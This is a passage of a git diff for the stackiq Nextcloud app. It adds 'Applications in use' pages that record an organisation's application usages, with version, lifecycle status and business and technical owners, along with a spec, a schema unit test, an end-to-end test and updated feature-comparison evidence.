GebruikDetail with lifecycleActions; ModuleDetail md-usages Add to our landscape; OrganisatieDetail org-usages; tests/Unit/Settings/UsageSchemaTest.php, tests/vitest/usages.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-landscape-usage-registration" }, - "reachedOn": "Modules /modules (menu Applications), Add button", + "reachedOn": "Applications > Applications in use (/gebruik), Add to our landscape on the application page, usage page", "provider": "stackiq", "providerHow": "read-from-code", "feature": "software-landscape-register", "featureConfidence": "high", - "note": "An application with supplier and description can be registered on the Modules page, but the module schema has no status field, and the per-organisation usage that carries a status has no page to create it on. The Modules list also cannot open ModuleDetail: its standalone CnIndexPage (FacetedCatalogIndexView.vue:108-117) binds no @view/@row-click, so the View action is inert. Specified in openspec/changes/landscape-usage-registration (OpenSpec pass 2026-09-27).", + "note": "An application with supplier and description can be registered on the Modules page, but the module schema has no status field, and the per-organisation usage that carries a status has no page to create it on. The Modules list also cannot open ModuleDetail: its standalone CnIndexPage (FacetedCatalogIndexView.vue:108-117) binds no @view/@row-click, so the View action is inert. Specified in openspec/changes/landscape-usage-registration (OpenSpec pass 2026-09-27). Built by openspec/changes/archive/2026-09-29-landscape-usage-registration.", "evidence": { "vng-softwarecatalogus": "https://www.softwarecatalogus.nl/node/30355: \"klik dan op de knop + achter de beschrijving van het pakket om het pakket toe te voegen aan je omgeving ... Pakketversie ... Referentiecomponenten ... Vul onder Planning bij Status in gebruik in\" (read 2026-09-26); https://www.softwarecatalogus.nl/hoe-werkt-de-catalogus: \"Wanneer Gemeenten en samenwerkingen hun applicatielandschap hebben ingevoerd, wordt deze automatisch geplot op de GEMMA referentiecomponentenkaart\" (read 2026-09-26). Reached on: Mijn softwarecatalogus > Pakketten > Voeg pakket toe.", "sap-leanix": "https://help.sap.com/docs/leanix/ea/application-modeling-guidelines: 'Applications are software systems or programs that process or analyze business data'; application fact sheet with description and lifecycle, supplier via 'provider -> IT component -> application relation' (https://help.sap.com/docs/leanix/ea/provider-modeling-guidelines) (read 2026-09-26). Reached on: Inventory > Application fact sheet.", "bluedolphin": "https://help.bluedolphin.io/en/articles/11967529-welcome-to-the-objects: 'a centralized space for managing architectural objects ... create, edit, delete'; https://help.bluedolphin.io/en/articles/11967745-update-an-object-definition shows an object definition 'New Application' with property 'Supplier'; status as lifecycle state (https://help.bluedolphin.io/en/articles/11967531-object-lifecycle-state) (read 2026-09-26). Reached on: Objects > Application Component object.", "glpi": "source read at 11.0.9: src/Appliance.php:46 class Appliance is GLPI's application itemtype; install/mysql/glpi-empty.sql:8935 glpi_appliances carries name, comment (description), manufacturers_id and states_id (status); src/Appliance.php:350 search option Status; supplier through the Management tab Infocom (install/mysql/glpi-empty.sql:3263 glpi_infocoms.suppliers_id) and Contract_Item (src/Appliance.php:99); menu src/Html.php:1300 lists Appliance under Management, served by src/Glpi/Kernel/Listener/RequestListener/LegacyItemtypeRouteListener.php:100. Reached on: Management > Appliances (front/appliance.php). Driven on the lab at 11.0.9 (2026-09-26): created the appliance \"Zaaksysteem lab\" with a description through /front/appliance.form.php; it appears in the Appliances list and CSV export.", "topdesk": "https://docs.topdesk.com/en/migrating-objects-to-asset-management.html: \"In the new Asset Management you design your own template for each type of asset you have\" (read 2026-09-26); https://docs.topdesk.com/en/managing-licences-in-asset-management.html: \"Create a new template for software cards\" (read 2026-09-26). Applications are a self-designed asset type, no application model ships. Reached on: Modules > Asset Management > Template Designer / Asset overview > New.", - "stackiq": "src/manifest.json:592 Modules page (FacetedCatalogIndexView, schema module) with the library CnIndexPage create form at src/views/FacetedCatalogIndexView.vue:108; lib/Settings/softwarecatalogus_register.json:6777 module schema has name, shortDescription/longDescription and provider (Supplier) but NO status property; status lives on usage (register.json:2654, enum Acquisition..In production) which has no page" + "stackiq": "usage schema (consumer, module, moduleVersion, status with lifecycle plan/goLive/phaseOut/retire) in lib/Settings/softwarecatalogus_register.json; src/manifest.d/usages.json pages Gebruik (/gebruik, Applications in use) and GebruikDetail with lifecycleActions; ModuleDetail md-usages Add to our landscape; OrganisatieDetail org-usages; tests/Unit/Settings/UsageSchemaTest.php, tests/vitest/usages.spec.js" } }, { @@ -548,21 +549,22 @@ "bluedolphin": "partial", "glpi": "yes", "topdesk": "partial", - "stackiq": "partial", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "register.json:6856 module.contactPerson is a single related contactPerson; register.json:1786 contactPerson has free-text role (job title) and a roles enum of catalogue roles (Aanbod-beheerder, Gebruik-beheerder, ...), no business/technical owner distinction; shown on ModuleDetail md-data (src/manifest.json:500 lists the stale key 'contactpersoon', not 'contactPerson')", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "lib/Settings/register.d/usage-owners.json usage.businessOwner and usage.technicalOwner ($ref contactPerson, x-relation-filter organization @object.consumer); columns on Gebruik and fields on GebruikDetail; tests/Unit/Settings/UsageSchemaTest.php", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-landscape-usage-registration" }, - "reachedOn": "Modules /modules create/edit form (Contact person field)", + "reachedOn": "usage page (/gebruik/:id) and the Applications in use list", "provider": "stackiq", "providerHow": "read-from-code", "feature": "software-landscape-register", "featureConfidence": "low", - "note": "One contact person per application can be set, but there is no separate business owner and technical owner. ModuleDetail's data widget includes 'contactpersoon', a key the schema no longer has, so the contact may not show there. Specified in openspec/changes/landscape-usage-registration (OpenSpec pass 2026-09-27).", + "note": "One contact person per application can be set, but there is no separate business owner and technical owner. ModuleDetail's data widget includes 'contactpersoon', a key the schema no longer has, so the contact may not show there. Specified in openspec/changes/landscape-usage-registration (OpenSpec pass 2026-09-27). Built by openspec/changes/archive/2026-09-29-landscape-usage-registration.", "evidence": { "sap-leanix": "https://help.sap.com/docs/leanix/ea/subscription-roles: 'Define roles that map to your organization's positions, such as application owner', with subscription types 'Responsible, Accountable, Observer' per fact sheet (read 2026-09-26). Reached on: Fact sheet > Subscriptions; Administration > Subscription Roles.", - "stackiq": "register.json:6856 module.contactPerson is a single related contactPerson; register.json:1786 contactPerson has free-text role (job title) and a roles enum of catalogue roles (Aanbod-beheerder, Gebruik-beheerder, ...), no business/technical owner distinction; shown on ModuleDetail md-data (src/manifest.json:500 lists the stale key 'contactpersoon', not 'contactPerson')", + "stackiq": "lib/Settings/register.d/usage-owners.json usage.businessOwner and usage.technicalOwner ($ref contactPerson, x-relation-filter organization @object.consumer); columns on Gebruik and fields on GebruikDetail; tests/Unit/Settings/UsageSchemaTest.php", "topdesk": "https://docs.topdesk.com/en/designing-templates-for-assets.html: \"Assignment widget : assigns locations and persons to the asset\" (read 2026-09-26). No separate business and technical owner roles are described. Reached on: Asset card > Assignment widget.", "vng-softwarecatalogus": "unknown: the landscape entry fields listed (pakketversie, referentiecomponenten, technologie, status) include no business or technical owner; searched https://www.softwarecatalogus.nl/node/16564, https://www.softwarecatalogus.nl/node/13683, https://www.softwarecatalogus.nl/node/19703, https://www.softwarecatalogus.nl/Gebruikershandleiding_leverancier, https://www.softwarecatalogus.nl/node/30355 (read 2026-09-26)", "bluedolphin": "https://help.bluedolphin.io/en/articles/11967633-datacollector-select-tricks: an example import maps '[Application Owner]' into object properties; ownership otherwise is modeled as questionnaire fields or ArchiMate relations. No built in business and technical owner fields are documented (read 2026-09-26). Reached on: Object properties or questionnaire fields.", @@ -2271,20 +2273,21 @@ "bluedolphin": "unknown", "glpi": "yes", "topdesk": "unknown", - "stackiq": "partial", + "stackiq": "yes", "built": { - "state": "specified", - "evidence": "lib/Settings/softwarecatalogus_register.json usage.moduleVersion ($ref moduleVersion); read by src/views/LifecycleRoadmapView.vue:397 for EOL state; ModuleversieDetail mv-related shows related usages; no usage create/edit page in src/manifest.json", - "owner": "ConductionNL/stackiq" + "state": "built", + "evidence": "usage.moduleVersion (x-relation-filter module) set on the usage form from Add to our landscape and on GebruikDetail (src/manifest.d/usages.json); shown in the Applications in use list; tests/vitest/usages.spec.js", + "owner": "ConductionNL/stackiq", + "change": "2026-09-29-landscape-usage-registration" }, - "reachedOn": "used on LifecycleRoadmap /portfolio-roadmap and ModuleversieDetail /moduleversies/:id; nothing in stackiq records it", + "reachedOn": "Applications > Applications in use (/gebruik) and the usage page", "provider": "stackiq", "providerHow": "read-from-code", "feature": "lifecycle-and-end-of-support", "featureConfidence": "low", - "note": "The version an organisation runs is a field on its usage and drives the EOL badges, but no stackiq page lets the organisation set or change it. Specified in openspec/changes/landscape-usage-registration (OpenSpec pass 2026-09-27).", + "note": "The version an organisation runs is a field on its usage and drives the EOL badges, but no stackiq page lets the organisation set or change it. Specified in openspec/changes/landscape-usage-registration (OpenSpec pass 2026-09-27). Built by openspec/changes/archive/2026-09-29-landscape-usage-registration.", "evidence": { - "stackiq": "lib/Settings/softwarecatalogus_register.json usage.moduleVersion ($ref moduleVersion); read by src/views/LifecycleRoadmapView.vue:397 for EOL state; ModuleversieDetail mv-related shows related usages; no usage create/edit page in src/manifest.json", + "stackiq": "usage.moduleVersion (x-relation-filter module) set on the usage form from Add to our landscape and on GebruikDetail (src/manifest.d/usages.json); shown in the Applications in use list; tests/vitest/usages.spec.js", "topdesk": "unknown: versions in use are only possible as a self-defined field; searched the full-text search index of docs.topdesk.com (https://docs.topdesk.com/en/js/fuzzydata.js, 987 pages) (read 2026-09-26)", "vng-softwarecatalogus": "https://www.softwarecatalogus.nl/node/30355: \"Pakketversie - selecteer de versie die in gebruik is\" (read 2026-09-26). Reached on: Mijn softwarecatalogus > Pakketten > toevoegen.", "bluedolphin": "unknown: docs searched at https://help.bluedolphin.io/en/; recording the version an organisation runs is not documented beyond configurable fields (read 2026-09-26)", diff --git a/openspec/specs/application-usage-pages/spec.md b/openspec/specs/application-usage-pages/spec.md new file mode 100644 index 000000000..8804ce59d --- /dev/null +++ b/openspec/specs/application-usage-pages/spec.md @@ -0,0 +1,58 @@ +# application-usage-pages Specification + +## Purpose +An organisation records the applications it uses, with the version it runs, its lifecycle status and its owners. Matrix rows `stackiq:land-register-application`, `stackiq:life-version-in-use` and `stackiq:land-application-owner`. + +## Requirements + +### Requirement: REQ-UAP-001 An organisation records and browses the applications it uses + +Stackiq SHALL offer a page "Applications in use" at `/gebruik` over the `usage` schema that lists the usages the user may read, with application, version, status and owners, and a detail page at `/gebruik/:id` where the user edits them. The organisation page SHALL list the organisation's usages. + +#### Scenario: An information manager lists the organisation's applications +@e2e tests/e2e/workflows/usages.spec.ts + +- **GIVEN** the municipality uses application X at version 2.1 in production and application Y as planned +- **WHEN** its information manager opens Applications, then Applications in use +- **THEN** the list shows X with version 2.1 and status In production, and Y with status Planned + +### Requirement: REQ-UAP-002 An organisation adds an application to its landscape from the application page + +The application page SHALL offer "Add to our landscape" to a user who may create a usage. It SHALL open the usage form with the application filled in, the user SHALL pick the organisation, and the version picker SHALL offer only versions of that application. + +#### Scenario: Adding an application with its version +@e2e tests/e2e/workflows/usages.spec.ts + +- **GIVEN** application X has versions 2.0 and 2.1 +- **WHEN** the information manager opens the page of X, clicks Add to our landscape, picks version 2.1 and saves +- **THEN** a usage of X by their municipality with version 2.1 exists +- **AND** it shows on Applications in use + +### Requirement: REQ-UAP-003 A usage names a business owner and a technical owner + +A usage SHALL carry a business owner and a technical owner, each picked from the contact persons of the using organisation. + +#### Scenario: Setting both owners +@e2e tests/e2e/workflows/usages.spec.ts + +- **GIVEN** the municipality has contact persons Anna and Bram +- **WHEN** the information manager edits its usage of X and sets business owner Anna and technical owner Bram +- **THEN** the usage page shows Anna as business owner and Bram as technical owner + +#### Scenario: A supplier cannot open the owners +@e2e exclude Read rule of the contact person schema; tests/Unit/Settings/SchemaRbacTest.php asserts a supplier reads only its own organisation's contact persons. + +- **GIVEN** a usage of the supplier's product with both owners set +- **WHEN** the supplier opens that usage +- **THEN** the owner contact persons do not open for the supplier + +### Requirement: REQ-UAP-004 A usage moves through its lifecycle from its page + +The usage schema SHALL declare its lifecycle on the status values its rows hold, so the detail page offers Plan, Go live, Phase out and Retire from the matching status. + +#### Scenario: Going live +@e2e tests/e2e/workflows/usages.spec.ts + +- **GIVEN** a usage with status Planned +- **WHEN** the information manager opens it and clicks Go live +- **THEN** its status reads In production diff --git a/src/manifest.d/usages.json b/src/manifest.d/usages.json new file mode 100644 index 000000000..c44c634f0 --- /dev/null +++ b/src/manifest.d/usages.json @@ -0,0 +1,67 @@ +{ + "$schema": "https://raw.githubusercontent.com/ConductionNL/nextcloud-vue/main/src/schemas/app-manifest-v2.schema.json", + "_note": "landscape-usage-registration: the usage (gebruik) is an organisation's use of an application, with the version it runs, its lifecycle status and its business and technical owner. The data existed but no page created or edited it. The menu entry is a child of Applications (ADR-097: no new top-level entry). Status is an enum and facetable, so the quick filters and filterMenu work on it; the transitions come from the schema's x-openregister-lifecycle (plan, goLive, phaseOut, retire).", + "menu": [ + { + "id": "Modules", + "children": [ + { "id": "Gebruik", "label": "Applications in use", "icon": "OfficeBuilding", "route": "Gebruik", "order": 9 } + ] + } + ], + "pages": [ + { + "id": "Gebruik", + "route": "/gebruik", + "type": "index", + "title": "Applications in use", + "config": { + "register": "@resolve:voorzieningen_register", + "schema": "usage", + "description": "The applications your organisation uses, with the version it runs, where it stands and who owns it.", + "columns": ["module", "moduleVersion", "status", "businessOwner", "technicalOwner", "timeClassification"], + "filterMenu": true, + "quickFilters": [ + { "label": "All", "filter": {}, "default": true }, + { "label": "Acquisition", "filter": { "status": "Acquisition" } }, + { "label": "Planned", "filter": { "status": "Planned" } }, + { "label": "In production", "filter": { "status": "In production" }, "icon": "CheckCircle" }, + { "label": "To be phased out", "filter": { "status": "To be phased out" }, "icon": "AlertCircle" }, + { "label": "Phased out", "filter": { "status": "Phased out" } } + ], + "sidebar": { "enabled": true, "showMetadata": true }, + "documentationUrl": "https://stackiq.conduction.nl" + } + }, + { + "id": "GebruikDetail", + "route": "/gebruik/:id", + "type": "detail", + "title": "Application in use", + "config": { + "register": "@resolve:voorzieningen_register", + "schema": "usage", + "_note": "A usage is read for what runs where and who owns it: data 8 wide (application, organisation, version, status, owners, phase dates, cloud model, annotation), documents 4 wide at the right (DPIA, contract, processing agreement), then the related panel. Status transitions come from the schema's x-openregister-lifecycle.", + "lifecycleActions": { "field": "status" }, + "widgets": [ + { "id": "gb-data", "type": "data", "title": "Application in use", "icon": "OfficeBuilding", "content": { "columns": 2, "include": [ "module", "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner", "startDateAcquisition", "startDatePlanned", "startDateInProduction", "startDateOutPhasing", "startDateOutPhased", "cloudDienstverleningsmodel", "timeClassification", "interneAnnotation" ] } }, + { "id": "gb-files", "type": "integration", "integrationId": "files", "title": "Documents", "icon": "FolderOutline" }, + { "id": "gb-related", "type": "related", "title": "Connections and services", "icon": "LinkVariant" } + ], + "layout": [ + { "id": "1", "widgetId": "gb-data", "gridX": 0, "gridY": 0, "gridWidth": 8, "gridHeight": 8 }, + { "id": "2", "widgetId": "gb-files", "gridX": 8, "gridY": 0, "gridWidth": 4, "gridHeight": 4 }, + { "id": "3", "widgetId": "gb-related", "gridX": 8, "gridY": 4, "gridWidth": 4, "gridHeight": 4 } + ], + "sidebar": { + "enabled": true, + "showMetadata": true, + "tabs": [ + { "id": "audit", "label": "History", "icon": "History", "widgets": [ { "type": "audit" } ] } + ] + }, + "documentationUrl": "https://stackiq.conduction.nl" + } + } + ] +} diff --git a/src/manifest.json b/src/manifest.json index 5f5bd1cce..19a97a2b9 100644 --- a/src/manifest.json +++ b/src/manifest.json @@ -415,6 +415,7 @@ { "id": "org-stats-contact-persons", "type": "stats-block", "title": "Contact persons", "icon": "ChartBar", "content": { "entries": [ { "title": "Contact persons", "register": "@resolve:voorzieningen_register", "schema": "contactPerson", "metric": "count", "filter": { "organization": "@objectId" } } ] } }, { "id": "org-diensten", "type": "object-list", "title": "Services", "icon": "HandshakeOutline", "content": { "register": "@resolve:voorzieningen_register", "schema": "catalogService", "filter": { "provider": "@objectId" }, "columns": [ { "key": "type", "label": "Type" } ], "limit": 25, "emptyText": "No services registered for this organisation yet" } }, { "id": "org-modules", "type": "object-list", "title": "Applications", "icon": "Package", "content": { "register": "@resolve:voorzieningen_register", "schema": "module", "filter": { "provider": "@objectId" }, "columns": [ { "key": "licentietype", "label": "License type" }, { "key": "bbnLevel", "label": "BBN level" } ], "limit": 25, "rowRoute": "ModuleDetail", "emptyText": "No applications registered for this organisation yet" } }, + { "id": "org-usages", "type": "object-list", "title": "Applications in use", "icon": "OfficeBuilding", "content": { "register": "@resolve:voorzieningen_register", "schema": "usage", "filter": { "consumer": "@objectId" }, "columns": [ { "key": "module", "label": "Application" }, { "key": "moduleVersion", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "GebruikDetail", "viewAllRoute": "Gebruik", "viewAllQuery": { "consumer": "@objectId" }, "allowCreate": false, "emptyText": "No applications in use recorded for this organisation yet" } }, { "id": "org-contactpersonen", "type": "object-list", "title": "Contact persons", "icon": "AccountGroup", "content": { "register": "@resolve:voorzieningen_register", "schema": "contactPerson", "filter": { "organization": "@objectId" }, "columns": [ { "key": "role", "label": "Function" }, { "key": "roles", "label": "Roles" } ], "limit": 25, "rowRoute": "ContactpersoonDetail", "emptyText": "No contact persons linked to this organisation yet" } } ], "layout": [ @@ -424,7 +425,8 @@ { "id": "8", "widgetId": "org-stats-contact-persons", "gridX": 8, "gridY": 4, "gridWidth": 4, "gridHeight": 2 }, { "id": "3", "widgetId": "org-diensten", "gridX": 0, "gridY": 6, "gridWidth": 6, "gridHeight": 4 }, { "id": "4", "widgetId": "org-modules", "gridX": 6, "gridY": 6, "gridWidth": 6, "gridHeight": 4 }, - { "id": "5", "widgetId": "org-contactpersonen", "gridX": 0, "gridY": 10, "gridWidth": 12, "gridHeight": 4 } + { "id": "5", "widgetId": "org-contactpersonen", "gridX": 0, "gridY": 10, "gridWidth": 12, "gridHeight": 4 }, + { "id": "9", "widgetId": "org-usages", "gridX": 0, "gridY": 14, "gridWidth": 12, "gridHeight": 4 } ], "bodyWidgets": [ { "id": "org-merge", "component": "OrganisationMergePanel", "props": { "objectId": "@objectId" }, "placement": "end", "colSpan": 12 } @@ -502,7 +504,7 @@ { "id": "md-related", "type": "related", "title": "Vendor & services", "icon": "LinkVariant" }, { "id": "md-compliance", "type": "object-list", "title": "Compliance claims", "icon": "ClipboardCheckOutline", "content": { "register": "@resolve:voorzieningen_register", "schema": "compliancy", "filter": { "module": "@objectId" }, "columns": [ { "key": "standardVersion", "label": "Standard" }, { "key": "bioMeasure", "label": "BIO measure" }, { "key": "url", "label": "Evidence" } ], "limit": 50, "rowRoute": "KompliantieDetail", "allowCreate": false, "emptyText": "No compliance claims yet" } }, { "id": "md-versions", "type": "object-list", "title": "Application versions", "icon": "SourceBranch", "content": { "register": "@resolve:voorzieningen_register", "schema": "moduleVersion", "filter": { "module": "@objectId" }, "columns": [ { "key": "version", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "ModuleversieDetail", "allowCreate": false, "emptyText": "No versions registered yet" } }, - { "id": "md-usages", "type": "object-list", "title": "Usages", "icon": "OfficeBuilding", "content": { "register": "@resolve:voorzieningen_register", "schema": "usage", "filter": { "module": "@objectId" }, "columns": [ { "key": "consumer", "label": "Organisation" }, { "key": "moduleVersion", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 50, "allowCreate": false, "emptyText": "No organisation registered a usage yet" } }, + { "id": "md-usages", "type": "object-list", "title": "Usages", "icon": "OfficeBuilding", "content": { "register": "@resolve:voorzieningen_register", "schema": "usage", "filter": { "module": "@objectId" }, "columns": [ { "key": "consumer", "label": "Organisation" }, { "key": "moduleVersion", "label": "Version" }, { "key": "status", "label": "Status" } ], "limit": 50, "rowRoute": "GebruikDetail", "viewAllRoute": "Gebruik", "viewAllQuery": { "module": "@objectId" }, "addLabel": "Add to our landscape", "formIncludeFields": [ "consumer", "moduleVersion", "status", "businessOwner", "technicalOwner" ], "emptyText": "No organisation registered a usage yet" } }, { "id": "md-connections-out", "type": "object-list", "title": "Connections from this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleA": "@objectId" }, "columns": [ { "key": "moduleB", "label": "To application" }, { "key": "nonMunicipalProvision", "label": "To national provision" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleA": "@objectId" }, "allowCreate": false, "emptyText": "No connections start at this application" } }, { "id": "md-connections-in", "type": "object-list", "title": "Connections to this application", "icon": "LinkVariant", "content": { "register": "@resolve:voorzieningen_register", "schema": "connection", "filter": { "moduleB": "@objectId" }, "columns": [ { "key": "moduleA", "label": "From application" }, { "key": "type", "label": "Type" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "KoppelingDetail", "viewAllRoute": "Koppelingen", "viewAllQuery": { "moduleB": "@objectId" }, "allowCreate": false, "emptyText": "No connections end at this application" } }, { "id": "md-ai-systems", "type": "object-list", "title": "AI systems", "icon": "RobotOutline", "content": { "register": "@resolve:voorzieningen_register", "schema": "aiSystem", "filter": { "module": "@objectId" }, "columns": [ { "key": "kind", "label": "Kind" }, { "key": "aiActRiskCategory", "label": "AI Act risk category" }, { "key": "status", "label": "Status" } ], "limit": 25, "rowRoute": "AiSystemDetail", "viewAllRoute": "AiSystems", "viewAllQuery": { "module": "@objectId" }, "allowCreate": false, "emptyText": "No AI systems registered for this application" } } diff --git a/tests/Unit/Settings/UsageSchemaTest.php b/tests/Unit/Settings/UsageSchemaTest.php new file mode 100644 index 000000000..246334fc3 --- /dev/null +++ b/tests/Unit/Settings/UsageSchemaTest.php @@ -0,0 +1,167 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/application-usage-pages/spec.md + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use PHPUnit\Framework\TestCase; + +/** + * Asserts the owner fields, the lifecycle, the name template and the seeds of + * the usage schema. + */ +class UsageSchemaTest extends TestCase { + + /** + * The merged register. + * + * @return array + */ + private function register(): array { + return json_decode((string) file_get_contents(__DIR__ . '/../../../lib/Settings/softwarecatalogus_register.json'), true); + }//end register() + + /** + * The merged usage schema. + * + * @return array + */ + private function usage(): array { + return $this->register()['components']['schemas']['usage']; + }//end usage() + + /** + * Both owners point at a contact person of the organisation that uses the application. + * + * @return void + */ + public function testBothOwnersAreContactPersonsOfTheConsumer(): void { + $usage = $this->usage(); + foreach (['businessOwner', 'technicalOwner'] as $field) { + $prop = $usage['properties'][$field]; + $this->assertSame('#/components/schemas/contactPerson', $prop['$ref'], $field); + $this->assertSame('related-object', $prop['objectConfiguration']['handling'], $field); + $this->assertSame(['organization' => '@object.consumer'], $prop['x-relation-filter'], $field); + } + + $this->assertArrayHasKey('organization', $this->register()['components']['schemas']['contactPerson']['properties']); + $this->assertSame([], array_values(array_intersect(['businessOwner', 'technicalOwner'], ($usage['required'] ?? [])))); + }//end testBothOwnersAreContactPersonsOfTheConsumer() + + /** + * The owners join the usage and every property it had stays. + * + * @return void + */ + public function testTheExistingPropertiesStay(): void { + $props = $this->usage()['properties']; + foreach (['consumer', 'module', 'moduleVersion', 'status', 'contactPerson', 'timeClassification'] as $field) { + $this->assertArrayHasKey($field, $props, $field); + } + + $this->assertSame(['Acquisition', 'Planned', 'In production', 'To be phased out', 'Phased out'], $props['status']['enum']); + $this->assertTrue($props['status']['facetable']); + }//end testTheExistingPropertiesStay() + + /** + * Plan, Go live, Phase out and Retire name only states the status enum holds. + * + * @return void + */ + public function testTheLifecycleNamesTheEnumValues(): void { + $usage = $this->usage(); + $lifecycle = $usage['configuration']['x-openregister-lifecycle']; + $enum = $usage['properties']['status']['enum']; + + $this->assertSame('status', $lifecycle['field']); + $this->assertContains($lifecycle['initial'], $enum); + $this->assertSame(['plan', 'goLive', 'phaseOut', 'retire'], array_keys($lifecycle['transitions'])); + foreach ($lifecycle['transitions'] as $name => $transition) { + $this->assertContains($transition['to'], $enum, $name); + foreach ($transition['from'] as $from) { + $this->assertContains($from, $enum, $name); + } + } + + $this->assertSame(['Planned'], $lifecycle['transitions']['goLive']['from']); + $this->assertSame('In production', $lifecycle['transitions']['goLive']['to']); + }//end testTheLifecycleNamesTheEnumValues() + + /** + * A usage is named after its application and organisation, from keys the schema has. + * + * @return void + */ + public function testTheNameTemplateReadsExistingKeys(): void { + $usage = $this->usage(); + $template = $usage['configuration']['objectNameField']; + + $this->assertSame('{{ module }} ({{ consumer }})', $template); + preg_match_all('/{{\s*([A-Za-z]+)/', $template, $keys); + foreach ($keys[1] as $key) { + $this->assertArrayHasKey($key, $usage['properties'], $key); + } + }//end testTheNameTemplateReadsExistingKeys() + + /** + * The schema version moves up, or the import skips the change. + * + * @return void + */ + public function testTheSchemaVersionMovesUp(): void { + $this->assertTrue(version_compare($this->usage()['version'], '1.5.1', '>')); + }//end testTheSchemaVersionMovesUp() + + /** + * A supplier reads contact persons of its own organisation only, so it cannot open the owners of a customer. + * + * @return void + */ + public function testASupplierCannotOpenTheOwnersOfACustomer(): void { + $read = $this->register()['components']['schemas']['contactPerson']['authorization']['read']; + $supplier = array_values( + array_filter( + $read, + static fn ($rule): bool => $rule === 'aanbod-beheerder' || (is_array($rule) === true && ($rule['group'] ?? '') === 'aanbod-beheerder') + ) + ); + + $this->assertSame([['group' => 'aanbod-beheerder', 'match' => ['_organisation' => '$organisation']]], $supplier); + }//end testASupplierCannotOpenTheOwnersOfACustomer() + + /** + * The seeded usages carry a status the enum holds, one of them planned. + * + * @return void + */ + public function testTheSeededUsagesCarryEnumStatuses(): void { + $register = $this->register(); + $enum = $register['components']['schemas']['usage']['properties']['status']['enum']; + $statuses = []; + foreach ($register['components']['objects'] as $object) { + if (($object['@self']['schema'] ?? '') !== 'usage') { + continue; + } + + $this->assertContains($object['status'], $enum, $object['@self']['slug']); + $statuses[] = $object['status']; + } + + $this->assertContains('In production', $statuses); + $this->assertContains('Planned', $statuses); + }//end testTheSeededUsagesCarryEnumStatuses() +}//end class diff --git a/tests/e2e/workflows/usages.spec.ts b/tests/e2e/workflows/usages.spec.ts new file mode 100644 index 000000000..320ba9ac3 --- /dev/null +++ b/tests/e2e/workflows/usages.spec.ts @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * Applications in use: the list with version and status, adding an + * application from its page, both owners on the usage page, and going live. + * + * Seeds an organisation, two contact persons, two applications with versions + * and two usages carrying this run's RUN_ID through the objects API (the call + * the Add form makes), and removes exactly those rows afterwards. The schema, + * the lifecycle and the pages are covered by + * tests/Unit/Settings/UsageSchemaTest.php and tests/vitest/usages.spec.js. + * + * @spec openspec/specs/application-usage-pages/spec.md + */ +import type { APIRequestContext } from '@playwright/test' +import type { VoorzieningenConfig } from './_fixtures.ts' + +import { expect, test } from '@playwright/test' +import { + createObject, + deleteObject, + newApiContext, + resolveConfig, + RUN_ID, +} from './_fixtures.ts' +import { dismissSupportDialog, gotoAppRoute } from './_ui.ts' + +let apiCtx: APIRequestContext +let cfg: VoorzieningenConfig +const seeded: Array<[string, string]> = [] +const ids: Record = {} +const appX = `${RUN_ID} application X` +const appY = `${RUN_ID} application Y` +const anna = `${RUN_ID}-anna` +const bram = `${RUN_ID}-bram` + +/** + * Create a row and remember it for cleanup. + * + * @param schema The schema slug. + * @param data The object. + * @return The new id. + */ +async function seed(schema: string, data: Record): Promise { + const id = await createObject(apiCtx, cfg.register, schema, data) + seeded.push([schema, id]) + return id +} + +test.beforeAll(async () => { + apiCtx = await newApiContext() + cfg = await resolveConfig(apiCtx) + ids.org = await seed('organization', { name: `${RUN_ID} municipality` }) + ids.anna = await seed('contactPerson', { + contactsUid: anna, + organization: ids.org, + }) + ids.bram = await seed('contactPerson', { + contactsUid: bram, + organization: ids.org, + }) + ids.x = await seed('module', { name: appX }) + ids.y = await seed('module', { name: appY }) + ids.x20 = await seed('moduleVersion', { + module: ids.x, + version: '2.0', + status: 'in use', + }) + ids.x21 = await seed('moduleVersion', { + module: ids.x, + version: '2.1', + status: 'in use', + }) + ids.usageX = await seed('usage', { + consumer: ids.org, + module: ids.x, + moduleVersion: ids.x21, + status: 'In production', + }) + ids.usageY = await seed('usage', { + consumer: ids.org, + module: ids.y, + status: 'Planned', + }) +}) + +test.afterAll(async () => { + if (!apiCtx) return + for (const [schema, id] of seeded.reverse()) { + await deleteObject(apiCtx, cfg.register, schema, id) + } + await apiCtx.dispose() +}) + +// @e2e application-usage-pages::an-information-manager-lists-the-organisation-s-applications +test('Applications in use lists both applications with version and status', async ({ + page, +}) => { + await gotoAppRoute(page, '/gebruik') + await dismissSupportDialog(page) + const rowX = page.getByRole('row').filter({ hasText: appX }) + await expect(rowX).toContainText('2.1', { timeout: 30000 }) + await expect(rowX).toContainText('In production') + await expect(page.getByRole('row').filter({ hasText: appY })).toContainText( + 'Planned', + ) +}) + +// @e2e application-usage-pages::adding-an-application-with-its-version +test('adding an application from its page creates a usage with the version picked', async ({ + page, +}) => { + await gotoAppRoute(page, `/modules/${ids.y}`) + await dismissSupportDialog(page) + await page.getByRole('button', { name: 'Add to our landscape' }).first().click() + const dialog = page.getByRole('dialog') + await expect(dialog).toBeVisible({ timeout: 30000 }) + await dialog + .getByRole('button', { name: /save|create/i }) + .last() + .click() + await expect(dialog).toBeHidden({ timeout: 30000 }) + await gotoAppRoute(page, '/gebruik') + await expect(page.getByText(appY).first()).toBeVisible({ timeout: 30000 }) +}) + +// @e2e application-usage-pages::setting-both-owners 